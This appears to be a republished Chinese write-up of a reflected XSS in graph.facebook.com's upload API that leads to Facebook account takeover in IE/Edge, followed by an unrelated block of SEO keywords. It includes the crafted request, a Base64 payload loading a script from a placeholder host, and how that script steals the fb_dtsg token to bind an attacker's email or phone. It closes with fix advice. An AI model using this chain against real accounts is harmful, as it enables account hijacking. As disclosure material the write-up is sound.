千家信息网

如何利用graph.facebook.com中的反射型XSS实现Facebook账户劫持

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇文章给大家分享的是有关如何利用graph.facebook.com中的反射型XSS实现Facebook账户劫持,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说
千家信息网最后更新 2026年10月31日如何利用graph.facebook.com中的反射型XSS实现Facebook账户劫持

本篇文章给大家分享的是有关如何利用graph.facebook.com中的反射型XSS实现Facebook账户劫持,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

下面分享的是graph.facebook.com中存在的反射型XSS漏洞,攻击者利用该漏洞可以构造恶意链接引诱受害者访问,添加账户绑定邮箱或手机号,从而实现对受害者Facebook账户的劫持。

漏洞情况

该漏洞只在IE和Edge浏览器中有效,漏洞原因在于graph.facebook.com中的某些API端点,在处理HTML代码响应时未实施完善安全的转义措施。响应消息存在于JSON格式中,HTML代码被当做其中一个字段的值也包含在内,而且响应消息不附带Content-Type 或 X-Content-Type-Options头,这样我就能有机会在IE/Edge中构造代码执行了。(这两类浏览器会扫描整个页面确定MIME文件类型,而其它浏览器只检查前几个字符)。

漏洞复现

1、首先,我们发送以下上传方式的POST请求:

POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD

其中的ACCESS_TOKEN是由Facebook for Android的第一方应用生成的有效用户访问令牌,PAYLOAD则是我们想插入的HTML代码,用于后续引诱受害者在浏览器中执行。当提交请求后,远程服务端会返回一个类似如下的值,其中包含一个后续会用到的会话ID(具体请参考Facebook官方说明):

{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}

经测试发现,其响应消息中没有内容安全策略(CSP)限制,所以,我想到了能不能用一个包含外部链接的js文件来插入HTML代码,例如:

2、这里的上传请求被Facebook后端做了Base64编码处理,返回显示如下,其中包含了我们特意植入的Payload:

upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s

所以,用该编码串之后就会有如下请求,用它可以向Facebook发起POST请求:

https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s

3、由此,利用以上请求串,我向其中加入我在第1步中生成的有效access_token,构造了一个HTML网页放到了我的网站中:

  

该页面包含了一个提交样式,受害者访问之后的响应消息如下:

{"h":"2:::GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugbAAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg"}

重要的是,https://DOMAIN.com/script.js中的脚本文件将帮助我窃取受害者的"fb_dtsg" CSRF token,并且可向https://www.facebook.com/api/graphql/发送一个添加手机号或邮箱地址的绑定请求,实现间接的受害者账户劫持。

漏洞修复

1、在file_type参数中加入对HTML代码处理的安全转义措施;

2、给每个响应中加入"Content-type: application/json" 头避免进一步的攻击。

以上就是如何利用graph.facebook.com中的反射型XSS实现Facebook账户劫持,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

漏洞 代码 受害者 账户 浏览器 消息 浏览 反射 有效 安全 文件 处理 手机 手机号 措施 更多 知识 篇文章 编码 转义 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网核心科技是什么 科技企业和互联网企业 互联网科技开发公司 中国互联网科技发展 奇酷互联网络科技公司 互联网科技小额贷款 互联网科技英文翻译 互联网科技咨询 中盈科技互联网信息有限公司 互联网科技教育视频 昭通互联网科技选哪家 知域互联网科技有限公司大骗子 乌鲁木齐新华智原互联网科技学校 小米互联网科技园入驻 广州百诚互联网科技有限公司官网 云鲸互联网络科技有限公司 美国五大互联网科技公司市值多少 每日互联网科技新闻 株洲百竞科技的互联网营销顾问 武汉亿视互联网科技有限公司 时间互联网络科技 成都狮子座互联网科技 互联网科技素材视频竖屏 海南购全球互联网科技 华中科技有哪些互联网大佬 威龙国际互联网科技公司 保险科技服务互联网营销体系 互联网金融科技元年 江苏苏星互联网科技有限公司 银川新华互联网科技学校原画
0